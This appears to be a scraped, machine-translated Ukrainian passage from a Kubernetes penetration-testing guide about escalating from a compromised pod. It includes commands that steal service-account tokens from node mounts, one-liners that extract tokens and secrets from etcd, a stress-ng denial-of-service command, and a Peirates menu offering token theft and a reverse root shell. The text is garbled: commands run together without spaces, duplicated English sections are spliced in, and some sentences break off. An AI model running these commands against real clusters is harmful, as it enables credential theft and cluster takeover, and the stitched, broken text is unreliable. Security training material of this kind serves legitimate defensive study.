Зазвичай Pod запускаються з токеном облікового запису служби всередині них. Цей обліковий запис може мати деякі привілеї, які ви можете зловживати, щоб перейти до інших Pod або навіть втекти на налаштовані вузли всередині кластера. Перевірте як це робити:
Якщо Pod запущено в хмарному середовищі, ви можете витікати токен з кінцевої точки метаданих та підвищувати привілеї, використовуючи його.
Пошук вразливих мережевих служб
Оскільки ви знаходитесь всередині середовища Kubernetes, якщо ви не можете підвищити привілеї, зловживаючи поточними привілеями Pod, і не можете втекти з контейнера, вам слід шукати потенційно вразливі служби.
Служби
Для цієї мети ви можете спробувати отримати всі служби середовища Kubernetes:
kubectl get svc --all-namespaces
За замовчуванням Kubernetes використовує плоску схему мережі, що означає, що будь-який pod/service в межах кластера може спілкуватися з іншими. Простори імен в межах кластера за замовчуванням не мають обмежень мережевої безпеки. Будь-хто в просторі імен може спілкуватися з іншими просторами імен.
Сканування
Наступний сценарій Bash (взятий з семінару з Kubernetes) встановить та просканує IP-діапазони кластера Kubernetes:
Перевірте наступну сторінку, щоб дізнатися, як ви можете здійснити атаку на конкретні служби Kubernetes, щоб компрометувати інші капсули/весь середовище:
У випадку, якщо компромітована капсула запускає деяку чутливу службу, де іншим капсулам потрібна аутентифікація, ви можете отримати дані для входу, відправлені з інших капсул, прослуховуючи локальні комунікації.
Підроблення мережі
За замовчуванням такі техніки, як підроблення ARP (і завдяки цьому підроблення DNS), працюють в мережі Kubernetes. Потім, всередині капсули, якщо у вас є можливість NET_RAW (яка там за замовчуванням), ви зможете відправляти власноруч створені мережеві пакети та виконувати атаки типу MitM через підроблення ARP на всі капсули, що працюють на тому ж вузлі.
Більше того, якщо зловмисна капсула працює на тому ж вузлі, що і DNS-сервер, ви зможете виконати атаку підроблення DNS на всі капсули в кластері.
У маніфестах Kubernetes не вказано ресурсів та не застосовано обмежень для контейнерів. Як зловмисник, ми можемо використовувати всі ресурси, де працює капсула/розгортання, і вичерпати інші ресурси, спричинивши DoS для середовища.
Це можна зробити за допомогою такого інструменту, як stress-ng:
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
Ви можете побачити різницю під час виконання stress-ng і після.
# Check Kubelet privilegeskubectl--kubeconfig/var/lib/kubelet/kubeconfigauthcan-icreatepod-nkube-system# Steal the tokens from the pods running in the node# The most interesting one is probably the one of kube-systemALREADY="IinItialVaaluE"for i in $(mount|sed-n'/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); doTOKEN=$(cat $(echo $i |sed's/.namespace$/\/token/'))if! [ $(echo $TOKEN |grep-E $ALREADY) ]; thenALREADY="$ALREADY|$TOKEN"echo"Directory: $i"echo"Namespace: $(cat $i)"echo""echo $TOKENecho"================================================================================"echo""fidone
Сценарій can-they.sh автоматично отримує токени інших капсул та перевіряє, чи мають вони необхідні дозволи (замість того, щоб ви перевіряли їх по одному):
DaemonSet - це под, який буде запущений на всіх вузлах кластера. Тому, якщо DaemonSet налаштований з привілейованим обліковим записом сервісу, на ВСІХ вузлах ви зможете знайти токен цього привілейованого облікового запису, яким ви можете зловживати.
Експлойт такий самий, як у попередньому розділі, але тепер ви не залежите від удачі.
Перехід до хмари
Якщо кластер керується хмарним сервісом, зазвичай Вузол матиме інший доступ до кінцевої точки метаданих ніж Под. Тому спробуйте отримати доступ до кінцевої точки метаданих з вузла (або з поду з hostNetwork в True):
Якщо ви можете вказати nodeName вузла, на якому буде запущений контейнер, отримайте оболонку всередині вузла керування та отримайте базу даних etcd:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
control-plane вузли мають роль майстра і в кластерах, керованих хмарою, ви не зможете запускати на них нічого.
Читання секретів з etcd
Якщо ви можете запустити свій под на вузлі control-plane, використовуючи селектор nodeName в специфікації пода, ви можете легко отримати доступ до бази даних etcd, яка містить всю конфігурацію кластера, включаючи всі секрети.
Нижче наведено швидкий і нечесний спосіб витягти секрети з etcd, якщо він працює на вузлі control-plane, на якому ви знаходитесь. Якщо ви хочете більш елег гарне рішення, яке запускає под з утилітою клієнта etcdetcdctl та використовує облікові дані вузла control-plane для підключення до etcd, де б він не запускався, перегляньте цей прикладний файл від @mauilion.
Перевірте, чи працює etcd на вузлі control-plane та перегляньте, де знаходиться база даних (це на кластері, створеному за допомогою kubeadm)
## Attacking Kubernetes from Inside a Pod### IntroductionWhen an attacker gains access to a Kubernetes pod, they are in a privileged position to perform further attacks within the cluster. This section explores various techniques that an attacker can use to escalate privileges and move laterally within the Kubernetes environment.
### Privilege Escalation#### Exploiting Misconfigured RBAC RolesIf the attacker can identify misconfigured Role-Based Access Control (RBAC) roles within the cluster, they may be able to escalate their privileges to perform actions they are not authorized to do. This can include accessing sensitive resources or modifying critical components of the cluster.
#### Accessing the Kubernetes API ServerBy accessing the Kubernetes API server from within a compromised pod, an attacker can potentially interact with the cluster in unintended ways. This could allow them to create or delete resources, view configuration details, or even launch additional pods with malicious intent.
### Lateral Movement#### Pod HoppingOnce inside a pod, an attacker can move laterally by hopping from one pod to another within the same node or across different nodes in the cluster. This can help them evade detection and expand their reach within the Kubernetes environment.
#### Exploiting Service AccountsService accounts are used by pods to authenticate and communicate with the Kubernetes API server. If an attacker compromises a pod with elevated service account privileges, they can leverage this access to move laterally and perform unauthorized actions across the cluster.
### ConclusionSecuring Kubernetes pods is crucial to prevent attackers from exploiting vulnerabilities and moving laterally within the cluster. By understanding these attack techniques, security professionals can better defend against such threats and ensure the integrity of their Kubernetes environments.
data-dir=/var/lib/etcd
Переглянути дані в базі даних etcd:
strings/var/lib/etcd/member/snap/db|less
Витягніть токени з бази даних та покажіть ім'я облікового запису служби
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
Та ж команда, але з деякими greps, щоб повернути лише типовий токен у просторі імен kube-system
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod### IntroductionWhen an attacker gains access to a Kubernetes pod, they are already inside the cluster and can potentially access other pods and services. This section explores various techniques an attacker can use to escalate privileges and move laterally within a Kubernetes cluster.
### Privilege Escalation#### Exploiting Misconfigured RBAC RolesIf the attacker can find a misconfigured Role-Based Access Control (RBAC) role that grants more permissions than necessary, they can abuse it to escalate their privileges within the cluster.
#### Accessing the Kubernetes APIBy accessing the Kubernetes API from inside a pod, an attacker can gather information about the cluster, modify resources, and perform other malicious activities.
### Lateral Movement#### Pod HoppingOnce inside a pod, an attacker can use various techniques to move laterally within the cluster, such as accessing the API server, compromising other pods, or exploiting misconfigurations.
#### Service Account CompromiseIf the attacker compromises a pod's service account token, they can impersonate the account and potentially access other resources within the cluster.
### ConclusionSecuring Kubernetes clusters from insider threats is crucial to prevent unauthorized access and data breaches. Regularly auditing RBAC roles, monitoring pod activities, and securing service accounts are essential steps to enhance Kubernetes security.
Статичні Поди керуються безпосередньо демоном kubelet на конкретному вузлі, без спостереження API-сервера за ними. На відміну від Подів, які керуються планом управління (н Відділення); замість цього, kubelet спостерігає за кожним статичним Подом (і перезапускає його у разі невдачі).
Якщо зловмисник зламав node і може видаляти pods з інших nodes і зробити інші nodes неспроможними виконувати pods, то pods будуть перезапущені на скомпрометованому node, і він зможе вкрасти токени, які в них запущені.
Для додаткової інформації перейдіть за цими посиланнями.
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates